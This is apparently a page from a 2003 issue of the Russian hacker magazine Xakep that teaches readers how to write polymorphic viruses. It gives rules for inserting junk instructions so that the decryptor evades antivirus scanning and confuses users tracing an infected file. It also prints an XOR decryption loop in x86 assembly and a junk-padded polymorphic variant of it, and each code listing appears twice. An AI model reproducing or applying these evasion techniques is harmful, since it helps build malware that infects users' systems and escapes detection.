Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #35, ОКТЯБРЬ 2003 г.

Технология шифрования

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #035, стр. 035-036-3


Практика

Любой может написать хороший полиморфный вирус. Необходимо лишь немного разбираться в ассемблере. На создание среднего полиморфика тратится не более шести часов. Хочешь попробовать? Тогда послушай ряд рекомендаций по составлению алгоритмов твоего будущего виря и расшифровщика.

Очень проста реализация поиска зеркальных команд. Для этого необходимо создать сводную таблицу с операндами. К ней должна прилагаться дополнительная информация: наличие зеркала, необходимость замены команды и прочее. Если человек немного понимает в вирмейкинге и ассемблере, то составить подобную таблицу ему будет несложно. С командами-мусором можно поступить аналогичным образом, как и с зеркалами.

Кстати о мусоре. К таким инструкциям прилагается ряд ограничений, которые должен исполнять каждый вирусописатель, чтобы его творение работало как следует. Итак, команда не должна:

1. Передавать управление за внешнюю программу. То есть управлять кодом может лишь расшифровщик и никто другой. Если нарушить это правило - вирус будет замечен.

2. Изменять регистры, которые используют рабочие команды. Сам понимаешь, мусор есть мусор и он никоим образом не должен пересекаться с правильным кодом.

3. Вызывать фатальные ошибки, а также генерировать исключения, так как это остановит работу расшифровщика, либо сделает ее неверной.

Смысл всех правил сводится к одному - мусор не должен мешать процессу расшифровки кода, а лишь радовать глаз антивируса и неопытного пользователя, трассирующего зараженный файл.

Еще один полезный совет: ставь нерабочую команду после цикла, но перед шифрованным кодом - это избавит от некоторых проблем с конвейером у процессоров Pentium.

Ну, а теперь рассмотрим и вовсе конкретный пример. Пусть у нас есть самый что ни на есть элементарный расшифровщик:

mov ecx,virus_size

lea edi,pointer_to_code_to_crypt

mov eax,crypt_key

_begin_loop:

xor dword ptr [edi],eax

add edi,4

loop _begin_loop

mov ecx,virus_size

lea edi,pointer_to_code_to_crypt

mov eax,crypt_key

_begin_loop:

xor dword ptr [edi],eax

add edi,4

loop _begin_loop

Теперь посмотрим, что же может сделать наш полиморфный движок с этим кодом (с учетом всего того, что я писал выше):

shl eax,2

add ebx,157637369h

imul eax,ebx,69

(*) mov ecx,virus_size

rcl esi,1

cli

(*) lea edi,pointer_to_code_to_crypt

xchg eax,esi

(*) mov eax,crypt_key

mov esi,22132546h

and ebx,0FF242569h

(*) xor dword ptr [edi],eax

or eax,34548286h

add esi,76869678h

(*) add edi,4

stc

push eax

xor edx,24564631h

pop esi

(*) loop 00401013h

cmc

or edx,132h

shl eax,2

add ebx,157637369h

imul eax,ebx,69

(*) mov ecx,virus_size

rcl esi,1

cli

(*) lea edi,pointer_to_code_to_crypt

xchg eax,esi

(*) mov eax,crypt_key

mov esi,22132546h

and ebx,0FF242569h

(*) xor dword ptr [edi],eax

or eax,34548286h

add esi,76869678h

(*) add edi,4

stc

push eax

xor edx,24564631h

pop esi

(*) loop 00401013h

cmc

or edx,132h

В этом коде звездочками отмечены исходные инструкции. Конечно, антивируснику обнаружить такой код будет несложно, но гораздо сложнее, чем обычный, незащищенный.

Назад на стр. 035-036-2  Содержание  Вперед на стр. 035-036-4